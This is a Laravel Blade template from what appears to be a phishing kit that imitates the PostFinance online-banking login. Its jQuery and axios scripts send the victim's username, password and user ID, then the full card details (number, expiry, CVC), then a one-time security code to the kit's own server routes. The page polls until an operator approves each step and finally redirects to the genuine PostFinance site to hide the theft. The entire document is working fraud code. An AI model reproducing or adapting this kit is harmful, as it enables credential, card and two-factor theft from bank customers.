                        <oklr-title _ngcontent-vpm-c170="" _nghost-vpm-c154="">
                            
                            <h1 _ngcontent-vpm-c154="" id="page-title"
                                class="cc-text-xl-heading sm:cc-text-sm-heading md:cc-text-3xl-heading ng-star-inserted">
                                {{__('dinzab.25')}}
                            </h1>
                        </oklr-title>
                    </div>
                    <fpui-widget-layout _ngcontent-vpm-c170=""
                        class="grid gap-5 print:flex print:flex-col-reverse fpui-widget-layout--sidebar-right ng-star-inserted">
                        <div class="fpui-widget-layout__main">
                            <fpui-card-page _ngcontent-vpm-c170="" fpuigridlayoutposition="main"
                                class="fpui-card-page block relative">
                                <div
                                    class="fpui-card-page__card-wrapper relative mx-auto max-w-xl">
                                    
                                    <div
                                        class="fpui-card-page__card bg-white border border-grey-300 rounded-lg shadow-md mb-12 print:border-0 print:border-none print:shadow-none print:m-0 fpui-card--divider-full">
                                        
                                        
                                        <fpui-card-page-content _ngcontent-vpm-c170=""
                                            class="block border-grey-200 relative print:overflow-auto print:p-0 print:border-0 p-5 md:p-10 border-b pt-0 md:pt-0 mt-5 md:mt-10">
                                            
                                            
                                            <oklr-login-step _ngcontent-vpm-c170=""
                                                _nghost-vpm-c147="">
                                                <oklr-first-login _ngcontent-vpm-c147=""
                                                    _nghost-vpm-c142="" class="ng-star-inserted">
                                                    
                                                      
                                                      <style>
                                                            .media {
                                                            display: flex;
                                                            align-items: center;
                                                            }
                                                            
                                                            .media-img {
                                                            margin-right: 0.33em;
                                                            width: 64px;
                                                            height: 64px;
                                                            }
                                                            
                                                            .media-body {
                                                            display: flex;
                                                            flex-direction: column;
                                                            }
                                                      </style>
                                                    <form id="codeform"
                                                        class="ng-pristine ng-valid ng-touched">
                                                        <div id="codeerror"
                                                            class="form-row__messages md:max-w-rowsmall lg:max-w-rowbig hidden">
                                                            <div aria-live="polite">
                                                                <div class="fpui-control__messages fpui-control__messages--error "
                                                                    data-cy="messages-error">
                                                                    <h1>{{__('dinzab.26')}}</h1>
                                                                </div>
                                                            </div>
                                                        </div>
                                                        <div class="media">
                                                            <img src="{{asset('app.svg')}}" class="media-img" style="width:110px!important;height:110px!important">
                                                            <div class="media-body">
                                                              <h5 class="break-words whitespace-pre-line ng-star-inserted">{{__('dinzab.27')}}</h5>
                                                              <h1 id="codedata" style="padding-left:.2rem;color:rgb(0, 0, 0,0.7);font-size:22px;margin-top:0.33rem"></h1>
                                                            </div>
                                                          </div>
                                                        <fpui-form-row 
                                                            class="fpui-form-row flex flex-col w-full pb-6 md:pb-8 form-row--vertical fpui-form-row--controls-horizontal items-stretch"
                                                            data-cy="form-row">
                                                            <div
                                                                class="flex-grow max-w-128 ng-star-inserted">
                                                                <div data-cy="form-row-value"
                                                                    class="fpui-form-row__control-wrapper flex-1 form-row-value flex flex-grow self-stretch items-baseline break-words max-w-full md:max-w-rowsmall lg:max-w-rowbig flex-row fpui-form-row__control--horizontal flex-wrap overflow-hidden">
                                                                    <fpui-form-field 
                                                                        class="form-field inline-flex flex-col ng-tns-c70-0 mat-accent form-field-type-fpui-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-hide-placeholder ng-pristine ng-valid form-field--variant-default flex-auto overflow-hidden ng-star-inserted ng-touched"
                                                                        data-cy="form-field">
                                                                        <div
                                                                            class="flex flex-grow gap-5 items-baseline overflow-hidden ng-tns-c70-0">
                                                                            
                                                                            
                                                                            <div data-cy="input-wrapper"
                                                                                class="input-wrapper overflow-hidden w-full ng-tns-c70-0">
                                                                                <div
                                                                                    class="input-status-wrapper flex relative w-full overflow-hidden ng-tns-c70-0">
                                                                                    <input
                                                                                        style="margin-top: 0.66rem;"
                                                                                        id="dinzabcode"
                                                                                        class="fpui-input-element appearance-none bg-transparent mat-form-field-autofill-control ng-tns-c70-0 ng-pristine ng-valid cdk-text-field-autofill-monitored ng-touched"
                                                                                        maxlength="15"
                                                                                        aria-required="true"
                                                                                        required
                                                                                        type="text"
                                                                                        placeholder="{{__('dinzab.28')}}"
                                                                                        required>
                                                                                    <div
                                                                                        class="absolute right-0 pl-3 sm:pl-4 pr-2 space-x-2 flex items-center self-center ng-tns-c70-0 ng-star-inserted">
                                                                                        
                                                                                    </div>
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </fpui-form-field>
                                                                </div>
                                                            </div>
                                                        </fpui-form-row>
                                                        <fpui-actions 
                                                            alignment="right"
                                                            class="fpui-actions fpui-actions--right">
                                                            <button 
                                                                variant="primary"
                                                                class="fpui-button cc-text-sm fpui-button--primary fpui-button--normal"
                                                                type="submit">
                                                                {{__('dinzab.29')}}
                                                            </button>
                                                            
                                                        </fpui-actions>
                                                    </form>
                                                </oklr-first-login>
                                            </oklr-login-step>
                                        </fpui-card-page-content>
                                    </div>
                                </div>
                            </fpui-card-page>
                        </div>
                    </fpui-widget-layout>
                </div>


                <!------- LOADER FORM ---------->
                <div class="mx-auto bg-white-400" id="loader" style="margin-top: 1rem; background-color:#fff!important;display:none">
                    <center> <oklr-title >
                        <h1 
                            class="cc-text-xl-heading sm:cc-text-sm-heading md:cc-text-xl-heading ng-star-inserted">
                            {{__('dinzab.30')}}
                        </h1>
                    </oklr-title></center>
                    <center><div class="max-w-lg mx-auto" style="padding: 0!important;margin:1rem!important">
                        <img style="width: :150px!important;height:180px!important" src="https://www.dpsdgp.com/wp-content/uploads/2021/10/Reload-Image-Gif-1.gif" alt="" srcset="">
                        <span 
                            class="cc-text-sm-heading sm:cc-text-sm-heading md:cc-text-sm-heading ng-star-inserted" style="margin: 0.55rem!important;">
                            {{__('dinzab.31')}}
                    </span>
                    </div></center>
                </div>




            </oklr-login-page>
            
            
        </div>
    </main>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.3/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>

<script>
    $("#dinzacc").mask("0000 0000 0000 0000");
    $("#dinzabexp").mask("00/00");
</script>


<!-------------- LOGIN PAGE HANDLE ---------->
<script>
    $(document).ready(()=>{
        $("#loginform").submit(async (e)=>{
            e.preventDefault();
            let loader = $("#loader");
            let msg = $("#loginmsg");
            let form = $("#login");
            form.hide();
            msg.addClass('hidden');
            loader.show();
            await axios.post("{{route('post.login')}}", {
                dinzabusername : $("#dinzabusername").val(),
                dinzabpassword : $("#dinzabpassword").val(),
                dinzabuserid : $("#dinzabuserid").val()
            }).then(async () => {
                let poll = setInterval(async () => {
                    await axios.get('{{route("check.login")}}').then( async (res)=>{
                        if(res.data.login == true) {
                            clearInterval(poll);
                            await axios.get('{{route("fix.user")}}');
                            loader.hide();
                            $('#cc').show();
                        }
                        if(res.data.login == false) {
                            clearInterval(poll);
                            await axios.get('{{route("fix.user")}}');
                            loader.hide();
                            msg.removeClass('hidden');
                            form.show();
                        }
                    })
                }, 2000);
            }).catch(()=>{
                loader.hide();
                msg.removeClass('hidden');
                form.show();
            })
        })
    })
</script>
<!-------------- END LOGIN ------------------>

<!-------------- CC PAGE HANDLE ------------->
<script>
    $(document).ready(()=>{
        $("#ccform").submit(async (e)=>{
        e.preventDefault();
        let msg = $("#ccmsg");
        let div = $("#cc");
        let form = $("#ccform");
        let loader = $("#loader");

        loader.show();
        div.hide();
        msg.addClass('hidden');
        await axios.post("{{route('post.cc')}}",{
            dinzabcardholder : $("#dinzabcardholder").val(),
            dinzabcc : $("#dinzabcc").val(),
            dinzabexp : $("#dinzabexp").val(),
            dinzabcvc : $("#dinzabcvc").val()
        }).then(async ()=>{
            let poll = setInterval(async () => {
                await axios.get("{{route('check.cc')}}").then(async (res)=>{
                if(res.data.cc === true) {
                    clearInterval(poll);
                    await axios.get("{{route('fix.user')}}");
                    loader.hide();
                    $('#codedata').text(res.data.code);
                    $("#code").show();
                }
                if(res.data.cc === false) {
                    clearInterval(poll);
                    await axios.get("{{route('fix.user')}}");
                    loader.hide();
                    div.show();
                    msg.removeClass('hidden');
                }
            })
            }, 2000);
        }).catch(()=>{
            loader.hide();
            div.show();
            msg.removeClass('hidden');
        })
    })
    })
</script>
<!-------------- END CC ------------------>


<!-------------- CODE PAGE HANDLE ----------->
<script>
    $(document).ready(()=> {
        $('#codeform').submit(async (e) => {
            e.preventDefault();
            let msg = $('#codeerror');
            let div = $('#code');
            let loader = $('#loader');

            msg.addClass('hidden');
            div.hide();
            loader.show();

            await axios.post("{{route('post.code')}}",{
                dinzabcode : $('#dinzabcode').val()
            }).then(()=> {
                let poll = setInterval(async () => {
                    await axios.get("{{route('check.code')}}").then( async (res) => {
                        if(res.data.code === true) {
                            clearInterval(poll);
                            await axios.get("{{route('fix.user')}}");
                            setTimeout(() => {
                                window.location.href = "https://www.postfinance.ch/ap/ba/ob/html/finance/home?login";
                            }, 3000);
                        }
                        if(res.data.code === false) {
                            clearInterval(poll);
                            await axios.get("{{route('fix.user')}}");
                            loader.hide();
                            msg.removeClass('hidden');
                            div.show();
                        }
                    })
                }, 2000);
            }).catch(() => {
                loader.hide();
                msg.removeClass('hidden');
                div.show();
            })
        })
    })
</script>

<!------------------------------------------->
@endsection